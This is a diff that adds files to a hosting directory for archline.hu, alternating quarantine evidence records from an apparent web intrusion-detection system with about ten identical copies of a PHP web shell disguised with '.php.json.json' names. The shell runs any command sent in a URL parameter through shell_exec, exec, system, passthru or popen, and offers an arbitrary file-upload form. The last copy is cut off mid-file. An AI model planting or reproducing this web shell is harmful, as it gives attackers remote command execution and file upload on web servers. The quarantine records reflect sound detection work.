+++ b/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3471",
+  "log_excerpt": "[quarantine] www.archline.hu:images/_h3x_zdi8lujb.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838198,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_zdi8lujb.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json b/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json.evidence.json
new file mode 100644
index 0000000..a6d408d
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4795",
+  "log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_9pq0ueh6.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857968,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "logs/_h3x_9pq0ueh6.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json b/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json.evidence.json
new file mode 100644
index 0000000..3f1dba7
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4793",
+  "log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_czrsgpys.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857949,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "logs/_h3x_czrsgpys.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json b/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json.evidence.json
new file mode 100644
index 0000000..0787933
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4786",
+  "log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_ipqsu3tu.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838222,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "logs/_h3x_ipqsu3tu.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json b/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json.evidence.json
new file mode 100644
index 0000000..82dda4b
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4785",
+  "log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_qx0jpbsm.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783858339,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "logs/_h3x_qx0jpbsm.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json b/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json.evidence.json
new file mode 100644
index 0000000..d812ae8
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4789",
+  "log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_qzmhjwqx.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783861973,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "logs/_h3x_qzmhjwqx.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json b/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json.evidence.json
new file mode 100644
index 0000000..6e4a8a1
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4797",
+  "log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_yajzsubg.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838214,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "logs/_h3x_yajzsubg.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json b/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json.evidence.json
new file mode 100644
index 0000000..836b7d7
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3057",
+  "log_excerpt": "[quarantine] www.archline.hu:media/_h3x_qljjjjvk.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783858335,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "media/_h3x_qljjjjvk.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json b/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json.evidence.json
new file mode 100644
index 0000000..17a811b
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3045",
+  "log_excerpt": "[quarantine] www.archline.hu:media/_h3x_twr3u1w5.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857945,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "media/_h3x_twr3u1w5.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json b/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json.evidence.json
new file mode 100644
index 0000000..4b04192
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3054",
+  "log_excerpt": "[quarantine] www.archline.hu:media/_h3x_u9smyqi1.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838210,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "media/_h3x_u9smyqi1.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json b/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json.evidence.json
new file mode 100644
index 0000000..3c2cc9b
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3056",
+  "log_excerpt": "[quarantine] www.archline.hu:media/_h3x_ve93l4dj.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783861967,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "media/_h3x_ve93l4dj.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json b/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
